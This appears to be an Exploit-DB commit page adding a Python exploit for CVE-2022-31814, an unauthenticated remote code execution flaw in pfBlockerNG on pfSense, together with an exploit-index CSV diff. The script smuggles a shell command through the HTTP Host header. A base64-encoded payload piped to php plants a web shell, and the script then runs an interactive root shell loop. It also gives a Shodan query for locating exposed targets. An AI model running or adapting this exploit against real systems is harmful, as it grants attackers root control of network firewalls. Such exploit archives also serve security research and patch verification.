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DB: 2023-02-21

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pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
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Exploit-DB 2023-02-21 00:16:32 +00:00
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commit e194129791
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66
exploits/php/webapps/51032.py Executable file
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# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()
url = args.url
shell_filename = "system_advanced_control.php"
def check_endpoint(url):
response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
if response.status_code == 200:
print("[+] pfBlockerNG is installed")
else:
print("\n[-] pfBlockerNG not installed")
sys.exit()
def upload_shell(url, shell_filename):
payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
print("[/] Uploading shell...")
response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
time.sleep(2)
response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
print("[+] Upload succeeded")
else:
print("\n[-] Error uploading shell. Probably patched ", response.content)
sys.exit()
def interactive_shell(url, shell_filename, cmd):
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
print(str(response.text)+"\n")
def delete_shell(url, shell_filename):
delcmd = "rm /usr/local/www/system_advanced_control.php"
response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
print("\n[+] Shell deleted")
check_endpoint(url)
upload_shell(url, shell_filename)
try:
while True:
cmd = input("# ")
interactive_shell(url, shell_filename, cmd)
except:
delete_shell(url, shell_filename)

1
files_exploits.csv
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@ -25284,6 +25284,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
41586,exploits/php/webapps/41586.txt,"Pet Listing Script 3.0 - SQL Injection",2017-03-11,"Ihsan Sencan",webapps,php,,2017-03-11,2017-03-11,0,,,,,,
50353,exploits/php/webapps/50353.php,"Pet Shop Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)",2021-09-29,Mr.Gedik,webapps,php,,2021-09-29,2021-09-29,0,,,,,,
38391,exploits/php/webapps/38391.txt,"Petite Annonce - Cross-Site Scripting",2013-03-14,Metropolis,webapps,php,,2013-03-14,2015-10-03,1,,,,,,https://www.securityfocus.com/bid/58508/info
51032,exploits/php/webapps/51032.py,"pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)",2023-02-20,IHTeam,webapps,php,,2023-02-20,2023-02-20,0,CVE-2022-31814,,,,,
6442,exploits/php/webapps/6442.txt,"pForum 1.30 - 'showprofil.php' SQL Injection",2008-09-12,tmh,webapps,php,,2008-09-11,2016-12-22,1,OSVDB-48109;CVE-2008-4355,,,,,
23901,exploits/php/webapps/23901.txt,"pfSense 2.0.1 - Cross-Site Scripting / Cross-Site Request Forgery / Remote Command Execution",2013-01-05,"Yann CAM",webapps,php,,2013-01-05,2013-04-15,1,OSVDB-88930;OSVDB-88929;OSVDB-88928,,,http://www.exploit-db.com/screenshots/idlt24000/screenshot.png,,
31263,exploits/php/webapps/31263.txt,"pfSense 2.1 build 20130911-1816 - Directory Traversal",2014-01-29,@u0x,webapps,php,,2014-01-29,2014-01-29,0,OSVDB-102608,,,,,

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